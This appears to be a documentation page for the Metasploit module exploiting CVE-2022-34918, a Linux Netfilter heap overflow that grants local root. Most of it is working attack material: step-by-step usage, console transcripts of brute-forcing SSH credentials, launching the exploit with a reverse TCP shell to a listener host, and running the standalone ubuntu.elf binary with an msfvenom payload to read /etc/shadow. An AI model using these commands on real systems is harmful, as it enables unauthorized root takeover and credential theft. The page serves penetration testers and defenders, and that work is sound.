Netfilter nft_set_elem_init Heap Overflow Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/netfilter_nft_set_elem_init_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
Module: exploit/linux/local/netfilter_nft_set_elem_init_privesc
Source code: modules/exploits/linux/local/netfilter_nft_set_elem_init_privesc.rb
Disclosure date: 2022-02-07
Last modification time: 2022-09-30 09:57:54 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-34918

An issue was discovered in the Linux kernel through 5.18.9. A type confusion bug in nft_set_elem_init (leading to a buffer overflow) could be used by a local attacker to escalate privileges. The attacker can obtain root access, but must start with an unprivileged user namespace to obtain CAP_NET_ADMIN access. The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.

Module Ranking and Traits


Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • os-resource-loss: Modules may cause a resource (such as a file) to be unavailable for the OS.
  • crash-os-down: Module may crash the OS, and the OS remains down.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
msf exploit(netfilter_nft_set_elem_init_privesc) > show targets
    ... a list of targets ...
msf exploit(netfilter_nft_set_elem_init_privesc) > set TARGET target-id
msf exploit(netfilter_nft_set_elem_init_privesc) > show options
    ... show and set options ...
msf exploit(netfilter_nft_set_elem_init_privesc) > set SESSION session-id
msf exploit(netfilter_nft_set_elem_init_privesc) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


This module exploits a vulnerability in Netfilter, the Linux Kernel component that implements firewall capabilities in Linux. The vulnerability is a type-confusion bug that leads to a heap overflow in kernel memory. The exploit relies on spraying, it may fail, or crash the target system.

Install

The vulnerability exists in linux kernel versions from 5.8-rc1 up to v5.19-rc5. this module contains offsets for some vulnerable Ubuntu versions.

Install Ubuntu 22.04 LTS with a vulnerable kernel version. apt-get install linux-image-5.15.0-25-generic Hold shift when you reboot and select the proper kernel version

Verification Steps


  1. Make an Ubuntu target.
  2. Create a Meterpreter or shell payload and upload it to the Ubuntu target. Or setup openssh-server, and use the corresponding auxiliary module.
  3. Get a session
  4. Do: use exploit/linux/local/netfilter_nft_set_elem_init_privesc
  5. Do: set session <session_id>
  6. Do: set payload <payload>
  7. Do: set lhost <ip>
  8. Do: set [r|l]port <port>
  9. Do: run
  10. You should get a new session as the root user.
  11. If it fails, retry, or reboot Ubuntu and retry.

Options


COMPILE

[Auto|True|False] This selects the binary to use. True will cause the module to upload the source code and perform compilation on target, False will cause the module to upload a precompiled binary. Auto will cause the module to try compiling the exploit on the target but will fall back to the precompiled option if a compiler cannot be found.

WritableDir

This indicates the location where you would like the payload and exploit binary stored. The default value is /tmp

Due to the exploitation strategy that this module relies on, /tmp must be writable, even if WritableDir is a different directory. modprobe_path gets overwritten with a path to a file in /tmp. This file is a bash script that adds the setuid bit to the payload uploaded at WritableDir.

Scenarios


Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40
rhosts => 192.168.0.40
msf6 auxiliary(scanner/ssh/ssh_login) > set username redouane
username => redouane
msf6 auxiliary(scanner/ssh/ssh_login) > set password user
password => user
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.0.40:22 - Starting bruteforce
[+] 192.168.0.40:22 - Success: 'redouane:user' 'uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux hopeful-zhukovky 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.0.32:46499 -> 192.168.0.40:22) at 2022-07-22 02:44:56 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0
lhost => wlan0
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: 
[*] Started reverse TCP handler on 192.168.0.32:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled binaries to system...
[*] Writing '/tmp/z9G2XJ' (761240 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/AsfKz' (248 bytes) ...
[*] Running payload on remote system...
[+] Deleted /tmp/z9G2XJ
[+] Deleted /tmp/AsfKz
[*] Command shell session 2 opened (192.168.0.32:4444 -> 192.168.0.40:35956) at 2022-07-22 02:45:54 +0200

id
[*] Payload executed! If it was successful, a session should have been created

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)

Notes


Included Binaries

The binary used by this exploit data/exploits/CVE-2022-34918/ubuntu.elf can be used separately from Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as root.

The exploit adds the setuid bit to the payload, the path given must be absolute, avoid binaries that don't run when the setuid bit is detected.

Also, the exploit process forks, gets its child to execute the setuid payload binary, and exits (it doesn't call wait or waitpid). For this reason, don't expect the binary to read input from standard input.

The following snippet shows an example of how one might run a payload to get a new Bash shell as the root user.

redouane@wizardly-maxwell:~$ id
uid=1000(redouane) gid=1000(redouane) groups=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
redouane@wizardly-maxwell:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 PrependSetresuid=true PrependSetresgid=true -f elf -o payload
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 96 bytes
Final size of elf file: 216 bytes
Saved as: payload
redouane@wizardly-maxwell:~$ chmod +x payload
redouane@wizardly-maxwell:~$ (echo id; head -n 2 /etc/shadow) | nc -lvvp1337 &
[1] 2272
redouane@wizardly-maxwell:~$ Listening on 0.0.0.0 1337

redouane@wizardly-maxwell:~$ ./ubuntu.elf /home/redouane/payload
[+] kernel version '5.15.0-25-generic #25-Ubuntu' detected
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[*] Leak in process
[+] Leak succeed
[+] kaslr base found 0xffffffff9f000000
[+] physmap base found 0xffff910a00000000
[+] modprobe path changed !
[+] Modprobe payload setup
[?] waitpid
[?] sem_post
[+++] Got root shell, should exit?
Connection received on localhost 56962
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
root:!:19193:0:99999:7:::
daemon:*:19101:0:99999:7:::

Go back to menu.

Msfconsole Usage


Here is how the linux/local/netfilter_nft_set_elem_init_privesc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/netfilter_nft_set_elem_init_privesc

[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show info

       Name: Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
     Module: exploit/linux/local/netfilter_nft_set_elem_init_privesc
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2022-02-07

Provided by:
  Arthur Mongodin <amongodin <Arthur Mongodin <[email protected]> (@_Aleknight_)>
  Redouane NIBOUCHA <[email protected]>

Module side effects:
 artifacts-on-disk

Module stability:
 os-resource-loss
 crash-os-down

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMPILE    Auto             yes       Compile on target (Accepted: Auto, True, False)
  MAX_TRIES  5                yes       Number of times to execute the exploit
  SESSION                     yes       The session to run this module on

Payload information:

Description:
  An issue was discovered in the Linux kernel through 5.18.9. A type 
  confusion bug in nft_set_elem_init (leading to a buffer overflow) 
  could be used by a local attacker to escalate privileges. The 
  attacker can obtain root access, but must start with an unprivileged 
  user namespace to obtain CAP_NET_ADMIN access. The issue exists in 
  nft_setelem_parse_data in net/netfilter/nf_tables_api.c.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-34918
  https://nvd.nist.gov/vuln/detail/CVE-2022-34918
  https://ubuntu.com/security/CVE-2022-34918
  https://www.randorisec.fr/crack-linux-firewall/
  https://github.com/randorisec/CVE-2022-34918-LPE-PoC

Module Options


This is a complete list of options available in the linux/local/netfilter_nft_set_elem_init_privesc exploit:

msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show options

Module options (exploit/linux/local/netfilter_nft_set_elem_init_privesc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMPILE    Auto             yes       Compile on target (Accepted: Auto, True, False)
   MAX_TRIES  5                yes       Number of times to execute the exploit
   SESSION                     yes       The session to run this module on

Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/netfilter_nft_set_elem_init_privesc exploit:

msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show advanced

Module advanced options (exploit/linux/local/netfilter_nft_set_elem_init_privesc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AllowNoCleanup          false            no        Allow exploitation without the possibility of cleaning up files
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                30               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       Directory to write persistent payload file.

Payload advanced options (linux/x64/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependChrootBreak          false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                 true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            true             no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            true             no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
                                                          ut directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/netfilter_nft_set_elem_init_privesc module can exploit:

msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/netfilter_nft_set_elem_init_privesc exploit:

msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                   normal  No     Interact with Established SSH Connection
   4   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   5   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   6   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   7   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   8   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   9   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   10  payload/linux/x64/pingback_bind_tcp                            normal  No     Linux x64 Pingback, Bind TCP Inline
   11  payload/linux/x64/pingback_reverse_tcp                         normal  No     Linux x64 Pingback, Reverse TCP Inline
   12  payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   13  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   14  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   15  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   16  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   17  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   18  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/netfilter_nft_set_elem_init_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<FULL_PATH_HOST> doesn't look like a file or a directory


Here is a relevant code snippet related to the "<FULL_PATH_HOST> doesn't look like a file or a directory" error message:

113:	        elsif File.directory?(full_path_host)
114:	          vprint_status("Creating the directory #{full_path_target}")
115:	          mkdir(full_path_target)
116:	          dirs.push(relative_path)
117:	        else
118:	          print_error("#{full_path_host} doesn't look like a file or a directory")
119:	        end
120:	      end
121:	    end
122:	  end
123:	

make command not available on the target


Here is a relevant code snippet related to the "make command not available on the target" error message:

120:	      end
121:	    end
122:	  end
123:	
124:	  def compile_source
125:	    fail_with(Failure::BadConfig, 'make command not available on the target') unless command_exists?('make')
126:	    info = cmd_exec("make -C #{@exploit_source_path}")
127:	    vprint_status(info)
128:	    @executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
129:	    if exists?(@executable_path)
130:	      chmod(@executable_path, 0o700) unless executable?(@executable_path)

Compilation has failed (executable not found)


Here is a relevant code snippet related to the "Compilation has failed (executable not found)" error message:

128:	    @executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
129:	    if exists?(@executable_path)
130:	      chmod(@executable_path, 0o700) unless executable?(@executable_path)
131:	      print_good('Compilation was successful')
132:	    else
133:	      fail_with(Failure::UnexpectedReply, 'Compilation has failed (executable not found)')
134:	    end
135:	  end
136:	
137:	  def run_payload
138:	    success = false

Exploit has failed


Here is a relevant code snippet related to the "Exploit has failed" error message:

149:	      sleep 3
150:	    end
151:	    if success
152:	      print_good('A session has been created')
153:	    else
154:	      print_bad('Exploit has failed')
155:	    end
156:	  end
157:	
158:	  def get_external_source_code(cve, file)
159:	    file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")

Error parsing the list of supported kernels.


Here is a relevant code snippet related to the "Error parsing the list of supported kernels." error message:

164:	    release = kernel_release
165:	    version = "#{release} #{kernel_version.split(' ').first}"
166:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
167:	    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
168:	    if ubuntu_kernels.empty?
169:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170:	    end
171:	    fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:	
173:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174:	    fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')

No offsets for '<VERSION>'


Here is a relevant code snippet related to the "No offsets for '<VERSION>'" error message:

166:	    ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
167:	    ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
168:	    if ubuntu_kernels.empty?
169:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170:	    end
171:	    fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:	
173:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174:	    fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:	
176:	    if is_root?

<BASE_DIR> is not writable.


Here is a relevant code snippet related to the "<BASE_DIR> is not writable." error message:

168:	    if ubuntu_kernels.empty?
169:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170:	    end
171:	    fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:	
173:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174:	    fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:	
176:	    if is_root?
177:	      fail_with(Failure::BadConfig, 'Session already has root privileges.')
178:	    end

/tmp is not writable.


Here is a relevant code snippet related to the "/tmp is not writable." error message:

169:	      fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170:	    end
171:	    fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:	
173:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174:	    fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:	
176:	    if is_root?
177:	      fail_with(Failure::BadConfig, 'Session already has root privileges.')
178:	    end
179:	  end

Session already has root privileges.


Here is a relevant code snippet related to the "Session already has root privileges." error message:

172:	
173:	    fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174:	    fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:	
176:	    if is_root?
177:	      fail_with(Failure::BadConfig, 'Session already has root privileges.')
178:	    end
179:	  end
180:	
181:	  def check
182:	    config = kernel_config

Could not retrieve kernel config


Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:

179:	  end
180:	
181:	  def check
182:	    config = kernel_config
183:	
184:	    return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:	
186:	    return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:	
188:	    return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:	

Kernel config does not include CONFIG_USER_NS


Here is a relevant code snippet related to the "Kernel config does not include CONFIG_USER_NS" error message:

181:	  def check
182:	    config = kernel_config
183:	
184:	    return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:	
186:	    return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:	
188:	    return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:	
190:	    return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:	

Unprivileged user namespaces are not permitted


Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:

183:	
184:	    return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:	
186:	    return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:	
188:	    return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:	
190:	    return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:	
192:	    arch = kernel_hardware
193:	

LKRG is installed


Here is a relevant code snippet related to the "LKRG is installed" error message:

185:	
186:	    return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:	
188:	    return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:	
190:	    return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:	
192:	    arch = kernel_hardware
193:	
194:	    return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
195:	

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

189:	
190:	    return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:	
192:	    arch = kernel_hardware
193:	
194:	    return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
195:	
196:	    release = kernel_release
197:	
198:	    version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
199:	    if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)

The kernel <VERSION> appears to be vulnerable, but no offsets are available for this version


Here is a relevant code snippet related to the "The kernel <VERSION> appears to be vulnerable, but no offsets are available for this version" error message:

195:	
196:	    release = kernel_release
197:	
198:	    version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
199:	    if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
200:	      return CheckCode::Appears # ("The kernel #{version} appears to be vulnerable, but no offsets are available for this version")
201:	    end
202:	
203:	    CheckCode::Safe
204:	  end
205:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Arthur Mongodin <amongodin[at]randorisec.fr> (@Aleknight)
  • Redouane NIBOUCHA <rniboucha[at]yahoo.fr>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.